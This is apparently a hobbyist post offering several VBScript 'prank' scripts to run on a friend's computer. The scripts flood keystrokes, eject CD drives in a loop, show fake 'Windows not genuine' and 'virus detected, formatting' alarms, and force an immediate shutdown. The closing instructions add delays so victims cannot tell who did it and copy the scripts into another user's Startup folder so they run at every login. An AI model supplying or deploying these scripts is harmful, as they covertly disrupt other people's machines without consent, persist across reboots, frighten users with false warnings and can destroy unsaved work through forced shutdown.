VBS PRANKS TO DRIVE YOUR FRIEND CRAZY

so today im going to share some vb scripts pranks ... copy them to notepad and save them ....they only work when you rename them ".vbs"

STOP ME IF YOU CAN 


MsgBox "stop me..! if you can"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop


A msg box saying "stop me if you can" appears and then keeps pressing backspace ... i think you guys would know what will happen next



HIT ENTER


Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

this will keep hitting enter making it impossible to do anything

GENUINE WINDOWS PRANK


do
X = MsgBox("This copy of windows is not genuine. Starting computer format in 15 minutes. ", ,"Error")
X = MsgBox("Close all opened programs.", vbQuestion ,"Error")
loop

a msgbox pops up and says that the copy of windows is not genuine .. and it will start computer format in 15 minutes


CRAZY DRIVE


Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop


This is one of my favorites .. it keepss ejecting the cd roms ... and keeps on looping


HOW ARE YOU 


Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "

this opens notepad and slowly writes how are you. im good. thanks .

SHUT DOWN


For ok = 0 To 1 Step 2
WScript.echo ("hello")
msgbox ("Are you having fun?")
msgbox ("Because I am.")
msgbox ("Let's have fun together!")
next
dim strShutDown,objShell
' -s = shutdown, -t 0 = no timeout, -f = force programs to close
strShutdown = "shutdown.exe -s -t 0 -f -m \\" & strComputer
set objShell = CreateObject("WScript.Shell")
objShell.Run strShutdown, 0, false

shuts down the computer after a message

malfunctioning software


do
intResponse = MsgBox("microsoft access has crashed", _
vbCritical + vbSystemModal, _
"Fatal Error!")

intResponse = MsgBox("Harmful virus detected!", _
vbExclamation + vbSystemModal, _
"Warning!")

intResponse = MsgBox("Computer must be formatted to remove virus. Do you want to start computer format now?", _
vbYesNo + vbExclamation + vbSystemModal + vbDefaultButton2, _
"Warning!")
If intresponse = vbYes Then
    intresponse = MsgBox("Prparing computer format. All data will be lost after computer format.", _
    vbExclamation + vbSystemModal, _
    "Warning!")
Else
    intResponse = MsgBox("Unable to cancel computer format", _
    vbCritical + vbSystemModal, _
    "Error")
    intresponse = MsgBox("Preparing computer format. All data will be lost after computer format.", _
    vbExclamation + vbSystemModal, _
    "Warning!")
End if

intresponse = MsgBox("Starting format!", _
vbExclamation + vbSystemModal, _
"Warning!")
loop

you can change the microsoft access to anything you want ... its harmless ... just msgboxes

DISCO


Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
loop

you can have a disco on your keyboard

to terminate these just go to task manager and check processes for wscript then end that ... ENJOY
for more fun add


WScript.Sleep 180000
WScript.Sleep 10000

to the start of the scripts by right clicking and selecting edit ... then the vbs will start some time later so your friends wont know you did it

for still more fun  copy the scripts to
 C:/users/the user you want to prank/appdata/roaming/microsoft/windows/startmenu/programs/startup
then the scripts will start every time the user starts his machine